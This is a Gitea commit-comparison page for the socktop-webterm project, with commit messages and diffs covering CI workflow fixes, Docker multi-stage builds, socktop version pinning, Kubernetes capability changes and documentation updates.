Compare commits

...

41 Commits

Author SHA1 Message Date
jasonwitty 1114482046 Fix actix worker wedge on session teardown; grant CAP_KILL; bump to 0.3.12
Build and Deploy to K3s / test (push) Successful in 2m6s
Build and Deploy to K3s / lint (push) Successful in 1m2s
Build and Deploy to K3s / build-and-push (push) Successful in 9m23s
Build and Deploy to K3s / deploy (push) Successful in 2m13s
Terminal::stopping did child.kill() (error ignored) and then a blocking
child.wait() on the actix worker thread. Since the 0.3.11 privilege drop,
sessions run as `demo` and the server had no CAP_KILL, so kill() failed
with EPERM and wait() blocked forever. With two workers, exactly every
other request to :8082 then timed out — 5 days of readiness/liveness
flapping on socktop.io and orphaned restricted-shell/socktop processes
piling up in the pods.

- Signal the session's whole process group (portable-pty setsid()s the
  child), not just the shell: a non-interactive bash defers signals while
  a foreground command runs, so the old SIGHUP/SIGKILL to the shell alone
  orphaned socktop anyway.
- Reap on a dedicated thread: SIGHUP, 2 s grace, SIGKILL, 10 s deadline,
  then a blocking wait on that thread only. Signal failures are logged.
- Drop the pty handles before handing off the child.
- kubernetes/03-deployment.yaml: add CAP_KILL (sessions still lose every
  cap via setpriv). CI never applies the manifest — it was patched live.
- tests/reaper_tests.rs pins the non-blocking return, process-group kill,
  and SIGHUP→SIGKILL escalation.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-29 17:53:53 -07:00
jasonwitty 5637dea10b Gate image builds on socktop CLI compatibility; fix agent probe; caps for entrypoint
Build and Deploy to K3s / test (push) Successful in 1m31s
Build and Deploy to K3s / lint (push) Successful in 59s
Build and Deploy to K3s / build-and-push (push) Successful in 5m40s
Build and Deploy to K3s / deploy (push) Successful in 1m9s
- CI now builds the image locally on the (arm64) runner and runs
  scripts/verify-image-socktop-flags.sh before pushing: every --flag the
  restricted/session shells pass must be documented by the socktop
  binary actually installed in the image. Catches the 0.3.9 failure
  class (cached apt layer shipping a pre-flag socktop) at build time.
- Manifest adds CHOWN/DAC_OVERRIDE/FOWNER alongside SETUID/SETGID:
  with ALL dropped, uid 0 has no implicit file privilege and
  prepare_demo_home crash-looped on the demo-owned 700 home dir.
  Sessions still run with zero capabilities via setpriv.
- Agent liveness probe uses /proc instead of kill -0: without CAP_KILL
  even root gets EPERM signalling the socktop-user agent, so the old
  check false-alarmed in the pod logs.
- 0.3.11

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-24 09:46:27 -07:00
jasonwitty 6711ac030f Pin socktop apt version (1.60.2-1); bump to 0.3.10
Build and Deploy to K3s / test (push) Successful in 1m33s
Build and Deploy to K3s / lint (push) Successful in 1m0s
Build and Deploy to K3s / build-and-push (push) Successful in 5m17s
Build and Deploy to K3s / deploy (push) Successful in 1m9s
Image 0.3.9 baked socktop 1.60.1 because CI's registry layer cache reused
the apt-install layer from before the 1.60.2 release. 1.60.1 has no
--no-kill flag, so the restricted shell's invocation parsed it as the
positional websocket URL, breaking (and on overwrite, corrupting) the
local profile. Pinning the package version busts the cache and ties the
installed binary to the flags the restricted shell uses.

Also point the manifest's webterm container at the current tag so a
manual kubectl apply cannot roll the image back to 0.2.2.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-24 09:16:29 -07:00
jasonwitty 768487c268 bump cargo version
Build and Deploy to K3s / test (push) Successful in 1m35s
Build and Deploy to K3s / lint (push) Successful in 59s
Build and Deploy to K3s / build-and-push (push) Successful in 5m37s
Build and Deploy to K3s / deploy (push) Successful in 1m20s
2026-08-24 08:34:22 -07:00
jasonwitty 15ace386e3 update restricted shell to force (–no-kill) option.
Build and Deploy to K3s / test (push) Successful in 1m34s
Build and Deploy to K3s / lint (push) Successful in 58s
Build and Deploy to K3s / build-and-push (push) Successful in 2m3s
Build and Deploy to K3s / deploy (push) Successful in 8s
2026-08-24 07:33:43 -07:00
jasonwitty c540beba18 update restricted shell to force (--no-kill) option.
Build and Deploy to K3s / test (push) Has been cancelled
Build and Deploy to K3s / lint (push) Has been cancelled
Build and Deploy to K3s / build-and-push (push) Has been cancelled
Build and Deploy to K3s / deploy (push) Has been cancelled
2026-08-24 07:33:11 -07:00
jasonwitty 0b05f4bb92 remove node_modules from required_dirs
Build and Deploy to K3s / test (push) Successful in 17s
Build and Deploy to K3s / lint (push) Successful in 1m3s
Build and Deploy to K3s / build-and-push (push) Successful in 35s
Build and Deploy to K3s / deploy (push) Successful in 2m0s
2026-08-23 23:57:31 -07:00
jasonwitty e6d1e170fd fix build warnings
Build and Deploy to K3s / lint (push) Has been cancelled
Build and Deploy to K3s / build-and-push (push) Has been cancelled
Build and Deploy to K3s / deploy (push) Has been cancelled
Build and Deploy to K3s / test (push) Has been cancelled
2026-08-23 23:50:04 -07:00
jasonwitty f630a44a5d cancel previous builds on workflow run to avoid race condition.
Build and Deploy to K3s / test (push) Has been cancelled
Build and Deploy to K3s / lint (push) Has been cancelled
Build and Deploy to K3s / build-and-push (push) Has been cancelled
Build and Deploy to K3s / deploy (push) Has been cancelled
2026-08-23 23:42:52 -07:00
jasonwitty dc7b51453e remove known issues page
Build and Deploy to K3s / test (push) Failing after 15m2s
Build and Deploy to K3s / lint (push) Has been skipped
Build and Deploy to K3s / build-and-push (push) Has been skipped
Build and Deploy to K3s / deploy (push) Has been cancelled
2026-08-23 23:26:28 -07:00
jasonwitty 74726441c6 bump cargo version
Build and Deploy to K3s / test (push) Failing after 16m38s
Build and Deploy to K3s / lint (push) Has been skipped
Build and Deploy to K3s / build-and-push (push) Has been skipped
Build and Deploy to K3s / deploy (push) Failing after 12m32s
2026-08-23 23:09:18 -07:00
jasonwitty 5c03b92807 docs: 1.60 update — fix fabricated content, add kill/platform/known-issues docs
Build and Deploy to K3s / test (push) Successful in 1m55s
Build and Deploy to K3s / lint (push) Failing after 13m39s
Build and Deploy to K3s / build-and-push (push) Has been skipped
Build and Deploy to K3s / deploy (push) Failing after 14m58s
- Rewrite configuration.md from the real CLI/env surface (the page documented
  ~10 agent flags, /etc/default/socktop-agent, and env vars that don't exist)
- Fix token docs: SOCKTOP_TOKEN env + URL query param; client -t is --tls-ca,
  not a token flag
- Rewrite agent-integration.md: requests are plain text (get_metrics, ...),
  not JSON; correct proto schema, real GPU/metrics fields, 1.60 additive
  fields (sampled_at_ms, timestamp_us, journal notice)
- Fix connector.md: real ConnectorConfig builder API, error variants,
  examples list; bump to 1.60
- Document the 1.60 process kill feature (usage/general + keyboard-mouse)
- TLS: document exact-match pinning semantics, cert rotation, key perms,
  upgrade-clients-first note; genericize profile example
- Agent service: journal access setup (systemd-journal group), packaged-
  service cert path, drop fake positional-port form, fix broken fences
- New pages: Platform Notes (Windows/macOS/RISC-V/Pi kernel tip, ARMv7
  --no-default-features) and Known Issues
- Fedora build prereqs: libdrm-devel + libdrm-amdgpu (closes socktop#35)
- Freshen intro (1.60, new demo apng, correct crates.io names, GitHub
  Releases link), quick-start, upgrading (order notes, stale-binary tip),
  zellij (remove invalid pane_template example)

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-23 21:35:27 -07:00
jasonwitty 98f8b4a865 increment cargo version
Build and Deploy to K3s / test (push) Successful in 1m32s
Build and Deploy to K3s / lint (push) Successful in 58s
Build and Deploy to K3s / build-and-push (push) Successful in 5m12s
Build and Deploy to K3s / deploy (push) Successful in 2m11s
2026-05-19 11:18:00 -07:00
jasonwitty af5ab94521 fix: add ~/.cargo/bin to PATH for inline rustup run steps
Build and Deploy to K3s / test (push) Successful in 1m33s
Build and Deploy to K3s / lint (push) Successful in 58s
Build and Deploy to K3s / build-and-push (push) Successful in 7m56s
Build and Deploy to K3s / deploy (push) Successful in 9s
The act runner uses a minimal PATH for inline run: steps that does not
include ~/.cargo/bin. Add it explicitly via both export PATH and
GITHUB_PATH so rustup/cargo are available in the setup step and all
subsequent steps.
2026-05-18 16:29:03 -07:00
jasonwitty 1ea8768616 fix: replace setup-rust-toolchain action with inline rustup commands
Build and Deploy to K3s / test (push) Failing after 5s
Build and Deploy to K3s / lint (push) Has been skipped
Build and Deploy to K3s / build-and-push (push) Has been skipped
Build and Deploy to K3s / deploy (push) Has been skipped
The Swatinem/rust-cache action bundled in actions-rust-lang/setup-rust-toolchain@v1
was updated to require node24, which is not supported by the self-hosted act
runner (v0.2.6). Even with cache:false, act eagerly loads pre-steps for all
nested actions regardless of conditions, and the node24 incompatibility in
the rust-cache pre-step caused the parent step to be marked as failed —
skipping Run tests entirely.

Replace both test and lint toolchain setup steps with direct rustup shell
commands to eliminate the dependency on the composite action entirely.
2026-05-18 16:26:26 -07:00
jasonwitty 7e5a246269 resolve build failures
Build and Deploy to K3s / test (push) Failing after 11s
Build and Deploy to K3s / lint (push) Has been skipped
Build and Deploy to K3s / build-and-push (push) Has been skipped
Build and Deploy to K3s / deploy (push) Has been skipped
https://gt.wittyoneoff.com/jason/socktop-webterm/actions/runs/30
Removed `use std::convert::TryFrom` — redundant in Rust 2021 edition (belt-and-suspenders cleanup)
Removed `use std::convert::TryFrom` — redundant in Rust 2021 edition (belt-and-suspenders cleanup)
2026-05-18 16:22:41 -07:00
jasonwitty 828bc39229 Update quick-start.md
Build and Deploy to K3s / test (push) Failing after 46s
Build and Deploy to K3s / lint (push) Has been skipped
Build and Deploy to K3s / build-and-push (push) Has been skipped
Build and Deploy to K3s / deploy (push) Has been skipped
add missing apt update command to quick start documentation
2026-05-18 15:55:58 -07:00
jasonwitty 6ea9c6a7a1 add analytics to docs pages
Build and Deploy to K3s / test (push) Successful in 2m9s
Build and Deploy to K3s / lint (push) Successful in 1m35s
Build and Deploy to K3s / build-and-push (push) Successful in 4m29s
Build and Deploy to K3s / deploy (push) Successful in 9s
2025-12-07 00:43:10 -08:00
jason dd11072560 Fix clippy warnings: remove needless borrows in build.rs
Build and Deploy to K3s / test (push) Successful in 2m8s
Build and Deploy to K3s / lint (push) Successful in 1m36s
Build and Deploy to K3s / build-and-push (push) Successful in 4m7s
Build and Deploy to K3s / deploy (push) Successful in 11s
2025-12-01 15:28:51 -08:00
jason bd31410d5a Add mdBook documentation with Ghostty-style sidebar
Build and Deploy to K3s / test (push) Successful in 2m10s
Build and Deploy to K3s / lint (push) Failing after 1m27s
Build and Deploy to K3s / build-and-push (push) Has been skipped
Build and Deploy to K3s / deploy (push) Has been skipped
2025-12-01 15:17:35 -08:00
jason ef7d4cccc1 Add mdBook documentation with Ghostty-style sidebar 2025-12-01 15:17:35 -08:00
jason 012e22ea6f Update README.md
Build and Deploy to K3s / test (push) Successful in 2m8s
Build and Deploy to K3s / lint (push) Successful in 1m34s
Build and Deploy to K3s / build-and-push (push) Successful in 5m17s
Build and Deploy to K3s / deploy (push) Successful in 9s
2025-12-01 08:53:56 +00:00
jason d7efa60cea send command telemetry one word at a time instead of one letter at a
Build and Deploy to K3s / deploy (push) Blocked by required conditions
Build and Deploy to K3s / test (push) Successful in 2m9s
Build and Deploy to K3s / lint (push) Successful in 1m34s
Build and Deploy to K3s / build-and-push (push) Has been cancelled
time. remove escape sequences.
2025-12-01 00:48:25 -08:00
jason 7bfbe0d86e Switch to forked pop-telemetry with custom Umami endpoint support
Build and Deploy to K3s / test (push) Successful in 2m13s
Build and Deploy to K3s / lint (push) Successful in 1m37s
Build and Deploy to K3s / build-and-push (push) Successful in 5m22s
Build and Deploy to K3s / deploy (push) Successful in 9s
- Use forked pop-telemetry from github.com/jasonwitty/pop-cli
- Implement init_with_website_id to configure custom endpoint and website ID
- Add --umami-endpoint and --umami-website-id CLI parameters
- Default endpoint: http://unami.wittyoneoff.com/api/send
- Default website ID: caefa16f-86af-4835-8b82-c8649aea0e2a
- Maintains backward compatibility with config file opt-out support

This allows webterm to send analytics to our self-hosted Umami instance
instead of the default pop-cli telemetry endpoint.
2025-11-30 22:44:19 -08:00
jason 4204773492 connect to unami over https./
Build and Deploy to K3s / test (push) Successful in 2m6s
Build and Deploy to K3s / lint (push) Successful in 1m31s
Build and Deploy to K3s / build-and-push (push) Successful in 5m21s
Build and Deploy to K3s / deploy (push) Successful in 1m14s
2025-11-30 09:44:00 -08:00
jason 57e8ad6f78 Revert "Update deployment to use version 0.3.5 from Cargo.toml"
This reverts commit 634e28113b.
2025-11-30 09:23:48 -08:00
jason 634e28113b Update deployment to use version 0.3.5 from Cargo.toml
Build and Deploy to K3s / test (push) Successful in 2m6s
Build and Deploy to K3s / lint (push) Successful in 1m33s
Build and Deploy to K3s / build-and-push (push) Successful in 37s
Build and Deploy to K3s / deploy (push) Successful in 1m59s
2025-11-30 09:09:15 -08:00
jason ffbdd5da0b update cargo version
Build and Deploy to K3s / test (push) Successful in 2m5s
Build and Deploy to K3s / lint (push) Successful in 1m34s
Build and Deploy to K3s / build-and-push (push) Successful in 5m1s
Build and Deploy to K3s / deploy (push) Failing after 10m9s
2025-11-30 08:39:48 -08:00
jason 6915079e5c Fix K8s deployment with init container and proper security context
Build and Deploy to K3s / test (push) Successful in 2m5s
Build and Deploy to K3s / lint (push) Successful in 1m33s
Build and Deploy to K3s / build-and-push (push) Successful in 48s
Build and Deploy to K3s / deploy (push) Failing after 5m42s
- Add init container to set up config files with correct ownership
- Run main container as socktop user (UID 100, GID 101) from the start
- Use fsGroup to ensure proper volume permissions
- Add emptyDir volume for /var/lib/socktop to avoid permission issues
- Create docker-entrypoint.sh wrapper to detect root vs non-root execution
  - Root mode: uses init-config.sh for Docker/docker-compose
  - Non-root mode: directly runs entrypoint.sh for K8s
- Update deployment command format to work with new entrypoint

This resolves 'Operation not permitted' errors when running in K8s
with security contexts that restrict user switching and ownership changes.
2025-11-30 04:22:43 -08:00
jason e870e2e4ec Upgrade to Rust 1.91 and migrate to pop-telemetry 0.12.1
Build and Deploy to K3s / test (push) Successful in 2m6s
Build and Deploy to K3s / lint (push) Successful in 1m33s
Build and Deploy to K3s / build-and-push (push) Successful in 5m24s
Build and Deploy to K3s / deploy (push) Failing after 10m8s
- Updated Rust toolchain from 1.90 to 1.91 (required by pop-telemetry)
- Migrated analytics to use pop-telemetry crate for privacy-focused telemetry
- Added dirs dependency for cross-platform config directory handling
- Refactored init-config.sh to handle permission restrictions in K8s
  - Gracefully handles chown failures in restricted security contexts
  - Uses alternative copy methods (cat > file) when cp fails
  - Continues operation with warnings instead of failing
- Updated Dockerfile to use rust:1.91-slim-bookworm base image
- Changed telemetry configuration from endpoint/website_id to config file path

This addresses permission denied errors when deploying to K3s with
security contexts that prevent ownership changes on pre-existing directories.
2025-11-30 04:01:43 -08:00
jason 39e0f55fc4 permission issue hotfix
Build and Deploy to K3s / test (push) Successful in 2m6s
Build and Deploy to K3s / lint (push) Successful in 1m33s
Build and Deploy to K3s / build-and-push (push) Successful in 53s
Build and Deploy to K3s / deploy (push) Failing after 8s
2025-11-30 03:49:09 -08:00
jason e0535a033b hotfix for telemetry hotfix for profiles config
Build and Deploy to K3s / test (push) Successful in 2m6s
Build and Deploy to K3s / lint (push) Successful in 1m33s
Build and Deploy to K3s / build-and-push (push) Successful in 5m35s
Build and Deploy to K3s / deploy (push) Failing after 8s
2025-11-30 03:34:08 -08:00
jason d3f95b8c52 patch for missing profiles file
Build and Deploy to K3s / test (push) Successful in 2m3s
Build and Deploy to K3s / lint (push) Successful in 1m31s
Build and Deploy to K3s / build-and-push (push) Successful in 5m17s
Build and Deploy to K3s / deploy (push) Failing after 10m8s
2025-11-30 02:33:43 -08:00
jason d554574e30 fix certs path, increment cargo version.
Build and Deploy to K3s / test (push) Successful in 2m5s
Build and Deploy to K3s / lint (push) Successful in 1m33s
Build and Deploy to K3s / build-and-push (push) Successful in 5m21s
Build and Deploy to K3s / deploy (push) Successful in 1m50s
2025-11-30 01:57:56 -08:00
jason 850cf32b50 - add cargo fmt / clippy to actions build. - add common unit tests. -
Build and Deploy to K3s / test (push) Successful in 2m40s
Build and Deploy to K3s / lint (push) Successful in 1m33s
Build and Deploy to K3s / build-and-push (push) Successful in 5m17s
Build and Deploy to K3s / deploy (push) Successful in 9s
improved security sanitization - security spcecific unit tests - add
unit tests to workflow build - add unami analytics.
2025-11-30 01:37:07 -08:00
jason 9fb9d9ab50 --no-install-recommends to trim image size
Build and Deploy to K3s / build-and-push (push) Successful in 5m30s
Build and Deploy to K3s / deploy (push) Successful in 8s
2025-11-28 16:22:08 -08:00
jason 2012504616 - trim container image size - sanitize socktop inputs 2025-11-28 16:20:18 -08:00
jason e224989702 - remove random ass copypasta in deployment yaml - fix gitea link
Build and Deploy to K3s / build-and-push (push) Successful in 4m24s
Build and Deploy to K3s / deploy (push) Successful in 10m12s
2025-11-28 14:59:42 -08:00
jason 29a97a43a9 update README and CARGO VERSION
Build and Deploy to K3s / build-and-push (push) Successful in 4m22s
Build and Deploy to K3s / deploy (push) Failing after 9s
2025-11-28 14:45:14 -08:00
jason 12f2d6e6af - modernize packages and rust edition. - increase timeout for rollout -
Build and Deploy to K3s / deploy (push) Blocked by required conditions
Build and Deploy to K3s / build-and-push (push) Has been cancelled
increment cargo version
2025-11-28 14:43:49 -08:00
jason b365ac38e3 add screenshot 2025-11-28 14:12:14 -08:00
65 changed files with 11025 additions and 2020 deletions
+2 -4
View File
@@ -24,10 +24,8 @@ package-lock.json.local
.github/ .github/
.travis.yml .travis.yml
# Documentation # Documentation - exclude only build artifacts, allow all source
*.md docs/book/
!README.md
docs/
# IDE and editor files # IDE and editor files
.vscode/ .vscode/
+64 -3
View File
@@ -4,18 +4,60 @@ on:
push: push:
branches: branches:
- main - main
- master
pull_request: pull_request:
branches: branches:
- main - main
- master
concurrency:
group: build-deploy-${{ github.ref }}
cancel-in-progress: true
env: env:
REGISTRY: gt.wittyoneoff.com REGISTRY: gt.wittyoneoff.com
IMAGE_NAME: jason/socktop-webterm IMAGE_NAME: jason/socktop-webterm
jobs: jobs:
test:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Set up Rust toolchain
run: |
echo "$HOME/.cargo/bin" >> $GITHUB_PATH
export PATH="$HOME/.cargo/bin:$PATH"
rustup update stable
rustup default stable
- name: Run tests
run: cargo test --all-targets --all-features
env:
RUSTFLAGS: -D warnings
lint:
needs: test
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Set up Rust toolchain
run: |
echo "$HOME/.cargo/bin" >> $GITHUB_PATH
export PATH="$HOME/.cargo/bin:$PATH"
rustup update stable
rustup default stable
rustup component add rustfmt clippy
- name: Cargo fmt
run: cargo fmt --all -- --check
- name: Clippy
run: cargo clippy --all-targets --all-features -- -D warnings
build-and-push: build-and-push:
needs: lint
runs-on: ubuntu-latest runs-on: ubuntu-latest
outputs: outputs:
version: ${{ steps.get_version.outputs.version }} version: ${{ steps.get_version.outputs.version }}
@@ -42,6 +84,25 @@ jobs:
username: ${{ secrets.REGISTRY_USERNAME }} username: ${{ secrets.REGISTRY_USERNAME }}
password: ${{ secrets.REGISTRY_PASSWORD }} password: ${{ secrets.REGISTRY_PASSWORD }}
# Build into the runner's docker first (runner is arm64, so the image
# runs natively), gate on the CLI-compatibility check, and only then
# push. The layer cache makes the second build a no-op.
- name: Build Docker image (local, for verification)
uses: docker/build-push-action@v5
with:
context: .
file: ./Dockerfile
platforms: linux/arm64
push: false
load: true
tags: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:candidate
cache-from: type=registry,ref=${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:buildcache
- name: Verify installed socktop understands the shells' flags
run: |
chmod +x scripts/verify-image-socktop-flags.sh
scripts/verify-image-socktop-flags.sh ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:candidate
- name: Build and push Docker image - name: Build and push Docker image
uses: docker/build-push-action@v5 uses: docker/build-push-action@v5
with: with:
@@ -111,7 +172,7 @@ jobs:
- name: Wait for rollout to complete - name: Wait for rollout to complete
run: | run: |
kubectl rollout status deployment/socktop-webterm -n socktop --timeout=5m kubectl rollout status deployment/socktop-webterm -n socktop --timeout=30m
- name: Verify deployment - name: Verify deployment
run: | run: |
+13
View File
@@ -17,6 +17,15 @@ logs/
.env .env
.env.local .env.local
# Documentation build output
static/docs/
# Temporary markdown documentation files
DOCKER_DOCS_FIXED.md
DOCS_TROUBLESHOOTING.md
DOCUMENTATION_SUMMARY.md
QUICK_START_DOCS.md
# OS specific # OS specific
.DS_Store .DS_Store
Thumbs.db Thumbs.db
@@ -37,3 +46,7 @@ scripts/docker-quickstart.sh
scripts/publish-to-gitea-multiarch.sh scripts/publish-to-gitea-multiarch.sh
scripts/publish-to-gitea.sh scripts/publish-to-gitea.sh
scripts/verify_upgrade.sh scripts/verify_upgrade.sh
scripts/check-setup.sh
scripts/test-docker-config.sh
scripts/prepare-docker-build.sh
scripts/test-docs.sh
Generated
+2094 -1564
View File
File diff suppressed because it is too large Load Diff
+24 -26
View File
@@ -1,39 +1,37 @@
[package] [package]
name = "webterm" name = "webterm"
description = "xterm.js - based webterminal" description = "socktop xterm.js - based webterminal"
repository = "https://github.com/fubarnetes/webterm" repository = "https://gt.wittyoneoff.com/jason/socktop-webterm"
documentation = "https://docs.rs/webterm" documentation = "https://docs.rs/webterm"
readme = "README.md" readme = "README.md"
categories = ["web-programming", "web-programming::websocket", "web-programming::http-server", "command-line-utilities"] categories = ["web-programming", "web-programming::websocket", "web-programming::http-server", "command-line-utilities"]
keywords = ["terminal", "xterm", "websocket", "terminus", "console"] keywords = ["terminal", "xterm", "websocket", "terminus", "console"]
version = "0.2.2" version = "0.3.12"
authors = ["fabian.freyer@physik.tu-berlin.de","jasonpwitty+socktop@proton.me"] authors = ["fabian.freyer@physik.tu-berlin.de","jasonpwitty+socktop@proton.me"]
edition = "2018" edition = "2021"
license = "BSD-3-Clause" license = "BSD-3-Clause"
[badges]
travis-ci = { repository = "fubarnetes/webterm", branch = "master" }
maintenance = { status = "actively-developed" }
[dependencies] [dependencies]
actix-files = "0.1.6" actix-files = "0.6"
actix-service = "0.4.2" actix-web = "4.9"
actix-web-actors = "1.0.2" actix-web-actors = "4.3"
actix-web= "1.0.8" actix = "0.13"
actix= "0.8.3" actix-rt = "2.10"
futures = "0.1.29" futures = "0.3"
handlebars = "2.0.2" handlebars = "6.3"
lazy_static = "1.4.0" serde = { version = "1.0", features = ["derive"] }
libc = "0.2.66" serde_json = "1.0"
log = "0.4.8" clap = { version = "4.5", features = ["derive"] }
pretty_env_logger = "0.3.1" tokio = { version = "1.42", features = ["full"] }
serde = "1.0.104" tokio-util = { version = "0.7", features = ["codec"] }
serde_json = "1.0.44" portable-pty = "0.8"
structopt = "0.3.7" bytes = "1.9"
tokio = "0.1.22" log = "0.4"
tokio-codec= "0.1.1" env_logger = "0.11"
tokio-io= "0.1.12" libc = "0.2"
tokio-pty-process = "0.4" pop-telemetry = { git = "https://github.com/jasonwitty/pop-cli", branch = "main" }
dirs = "5.0"
regex = "1.10"
[lib] [lib]
name = "webterm" name = "webterm"
+156 -92
View File
@@ -1,127 +1,191 @@
# Dockerfile for socktop webterm # Multi-stage Dockerfile for socktop webterm
# Based on Debian Trixie Slim with all required dependencies # This reduces the final image size significantly by separating build and runtime
FROM debian:trixie-slim # ============================================================================
# Stage 1: Documentation Builder
# ============================================================================
FROM rust:1.95-slim-bookworm AS docs-builder
# Avoid prompts from apt WORKDIR /build
ENV DEBIAN_FRONTEND=noninteractive
# Set environment variables # Install required tools
ENV RUST_VERSION=stable
ENV CARGO_HOME=/usr/local/cargo
ENV RUSTUP_HOME=/usr/local/rustup
ENV PATH=/usr/local/cargo/bin:$PATH
ENV TERM=xterm-256color
# Install system dependencies and security updates
RUN apt-get update && \ RUN apt-get update && \
apt-get upgrade -y && \ apt-get install -y --no-install-recommends curl ca-certificates && \
apt-get install -y \ rm -rf /var/lib/apt/lists/*
# Build dependencies
build-essential \ # Install mdbook first
RUN cargo install mdbook
# Copy documentation source (includes theme files)
COPY docs ./docs
# Download Catppuccin theme CSS if not already present
RUN if [ ! -f docs/theme/catppuccin.css ]; then \
curl -fsSL https://github.com/catppuccin/mdBook/releases/latest/download/catppuccin.css \
-o docs/theme/catppuccin.css && \
echo "Catppuccin CSS downloaded successfully"; \
else \
echo "Catppuccin CSS already present"; \
fi
# Build documentation
RUN cd docs && \
mdbook build && \
ls -la book/
# ============================================================================
# Stage 2: Rust Builder
# ============================================================================
FROM rust:1.95-slim-bookworm AS rust-builder
WORKDIR /build
# Install build dependencies
RUN apt-get update && \
apt-get install -y --no-install-recommends \
pkg-config \ pkg-config \
libssl-dev \ libssl-dev \
# Rust/Cargo (needed to build webterm)
curl \
ca-certificates \
# Node.js and npm (for xterm.js)
nodejs \
npm \
# Alacritty dependencies
cmake \
fontconfig \
libfontconfig1-dev \
libfreetype6-dev \
libxcb-xfixes0-dev \
libxkbcommon-dev \
python3 \
# Runtime dependencies
fonts-liberation \
gnupg2 \
wget \
unzip \
git \
# Process management
supervisor \
&& rm -rf /var/lib/apt/lists/* && rm -rf /var/lib/apt/lists/*
# Install Rust # Copy only dependency files first for better caching
RUN curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | \ COPY Cargo.toml Cargo.lock ./
sh -s -- -y --default-toolchain ${RUST_VERSION} --profile minimal && \
chmod -R a+w ${RUSTUP_HOME} ${CARGO_HOME}
# Install Alacritty # Create dummy source to cache dependencies
RUN cargo install alacritty && \ RUN mkdir src && \
rm -rf ${CARGO_HOME}/registry ${CARGO_HOME}/git echo "fn main() {}" > src/server.rs && \
echo "pub fn lib() {}" > src/lib.rs && \
cargo build --release && \
rm -rf src target/release/webterm-server target/release/deps/webterm*
# Download and install FiraCode Nerd Font # Copy actual source code
RUN mkdir -p /usr/share/fonts/truetype/firacode-nerd && \ COPY src ./src
cd /tmp && \ COPY templates ./templates
wget -q https://github.com/ryanoasis/nerd-fonts/releases/download/v3.1.1/FiraCode.zip && \ COPY static ./static
unzip -q FiraCode.zip -d /usr/share/fonts/truetype/firacode-nerd/ && \ COPY build.rs ./build.rs
rm FiraCode.zip && \
fc-cache -fv && \
rm -rf /var/lib/apt/lists/*
# Add socktop APT repository with GPG key # Copy built documentation from docs-builder stage
RUN curl -fsSL https://jasonwitty.github.io/socktop/KEY.gpg | \ COPY --from=docs-builder /build/docs/book ./static/docs
gpg --dearmor -o /usr/share/keyrings/socktop-archive-keyring.gpg && \
echo "deb [signed-by=/usr/share/keyrings/socktop-archive-keyring.gpg] https://jasonwitty.github.io/socktop stable main" > /etc/apt/sources.list.d/socktop.list && \
apt-get update && \
apt-get install -y socktop socktop-agent && \
rm -rf /var/lib/apt/lists/*
# Create application user (if not already exists from package) # Verify documentation was copied
RUN id -u socktop &>/dev/null || useradd -m -s /bin/bash socktop && \ RUN ls -la ./static/docs/ && \
mkdir -p /home/socktop/.config/alacritty && \ test -f ./static/docs/index.html || (echo "ERROR: Documentation index.html not found!" && exit 1)
mkdir -p /home/socktop/.config/socktop && \
chown -R socktop:socktop /home/socktop
# Set working directory # Build the actual application (force rebuild by touching sources)
WORKDIR /app RUN touch src/server.rs src/lib.rs && \
cargo build --release && \
# Copy application files
COPY --chown=socktop:socktop Cargo.toml Cargo.lock ./
COPY --chown=socktop:socktop src ./src
COPY --chown=socktop:socktop templates ./templates
COPY --chown=socktop:socktop static ./static
COPY --chown=socktop:socktop package.json package-lock.json ./
# Build the Rust application
RUN cargo build --release && \
rm -rf target/release/build target/release/deps target/release/incremental && \
strip target/release/webterm-server strip target/release/webterm-server
# Install npm dependencies and copy static files # ============================================================================
# Stage 3: Node.js Builder
# ============================================================================
FROM node:20-slim AS node-builder
WORKDIR /build
# Copy package files
COPY package.json package-lock.json ./
COPY static ./static
# Install only production dependencies
RUN npm ci --only=production && \ RUN npm ci --only=production && \
# Copy static files to node_modules for serving
cp static/terminado-addon.js node_modules/ && \ cp static/terminado-addon.js node_modules/ && \
cp static/bg.png node_modules/ && \ cp static/bg.png node_modules/ && \
cp static/styles.css node_modules/ && \ cp static/styles.css node_modules/ && \
cp static/terminal.js node_modules/ && \ cp static/terminal.js node_modules/ && \
cp static/favicon.png node_modules/ cp static/favicon.png node_modules/
# Copy configuration files from /files directory (will be mounted as volume) # ============================================================================
# This will be done at runtime via entrypoint script # Stage 4: Runtime Image
# ============================================================================
FROM debian:trixie-slim
# Copy supervisor configuration # Avoid prompts from apt
COPY docker/supervisord.conf /etc/supervisor/conf.d/supervisord.conf ENV DEBIAN_FRONTEND=noninteractive
ENV TERM=xterm-256color
# Copy entrypoint and restricted shell scripts # Install only runtime dependencies
RUN apt-get update && \
apt-get upgrade -y && \
apt-get install -y --no-install-recommends \
# Runtime libraries
libssl3 \
ca-certificates \
# For socktop packages
curl \
gnupg2 \
# Shell and utilities
bash \
procps \
# Health check
curl \
&& rm -rf /var/lib/apt/lists/*
# Add socktop APT repository and install packages.
# The version is pinned: the restricted shell passes flags that must exist in
# the installed binary (e.g. --no-kill), and CI's registry layer cache would
# otherwise happily reuse an apt layer from before a socktop release. Bump the
# pin together with any restricted-shell.sh change that uses a new flag.
ARG SOCKTOP_VERSION=1.60.2-1
RUN curl -fsSL https://jasonwitty.github.io/socktop/KEY.gpg | \
gpg --dearmor -o /usr/share/keyrings/socktop-archive-keyring.gpg && \
echo "deb [signed-by=/usr/share/keyrings/socktop-archive-keyring.gpg] https://jasonwitty.github.io/socktop stable main" > /etc/apt/sources.list.d/socktop.list && \
apt-get update && \
apt-get install -y --no-install-recommends socktop=${SOCKTOP_VERSION} socktop-agent=${SOCKTOP_VERSION} && \
rm -rf /var/lib/apt/lists/*
# Create application user (if not already exists from socktop packages)
RUN id -u socktop &>/dev/null || useradd -m -s /bin/bash socktop && \
mkdir -p /home/socktop/.config/socktop && \
chown -R socktop:socktop /home/socktop
# Unprivileged user that per-session shells run as (see docker/session-shell.sh).
# Separate from socktop so a session cannot signal the server, the agent, or
